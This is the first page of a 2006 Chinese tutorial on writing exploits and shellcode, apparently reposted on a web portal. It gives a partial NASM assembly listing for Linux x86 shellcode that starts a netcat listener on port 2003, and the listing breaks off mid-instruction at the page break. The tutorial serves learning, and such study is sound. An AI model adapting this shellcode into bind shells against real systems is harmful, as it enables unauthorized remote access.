| Exploit,shellcode经验技巧杂谈 |
|
| 作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:21:33
|
Exploit,shellcode经验技巧谈
这篇文章不是教你如何去写exploit,shellcode,而是希望提供一些关于编写或者研究exploit,shellcode的经验和技巧。适合理解了shellcode编写原理的朋友。我看了很多相关文章,大部分的编写方法都是类似Aleph One的《Smashing The Stack For Fun And Profit》里面的方法。其中safemode.org的zillion所写的《Writing shellcode》文章特别吸引我,他提供的一种方法我认为很方便。我结合自己的测试将文中的一些技巧衔接起来。还有一些自己在学习exploit过程中遇到的问题和解决方法。希望对和我一样初学exploit的朋友们能有一点点的帮助。水平有限,错误在所难免,发现错误请跟我联系,不甚感激。
不打无准备的仗,我们最好先做好一些准备工作。可以参考一下我的系统环境。 系统环境:REDHAT 9.0, gcc version 3.2.2, NASM version 0.98.35,perl 5.8.0
言归正传吧,用汇编语言写好我们想要执行的程序的功能,流程还是类似常用的写shellcode asm的写法,这里我就不用/bin/sh做例子了。我要写一个打开nc监听一个端口的shellcode,测试目的,并没有绑定shell.首先vim ncshellcode.S,填写如下代码:
BITS 32
jmp short callit
doit:
pop esi xor eax, eax mov byte [esi + 7], al ; 在/usr/nc后面加0 mov byte [esi + 10], al ; 在-l后面加0 mov byte [esi + 13], al ; 在-p后面加0 mov byte [esi + 18], al ; 在2003后面加0 mov long [esi + 19], esi ; 把字符串/usr/nc的地址放到AAAA所在的地方 lea ebx, [esi + 8] ; 得到字符串-l的地址 mov long [esi + 23], ebx ; 把字符串-l的地址放在BBBB lea ebx, [esi + 11] ; 得到字符串-p的地址 mov long [esi + 27], ebx &nb[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda 责任编辑:kinda |
|
上一篇文章: 高级format string exploit技术P59-0x07(下) 下一篇文章: Linux 编程环境常见问题 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |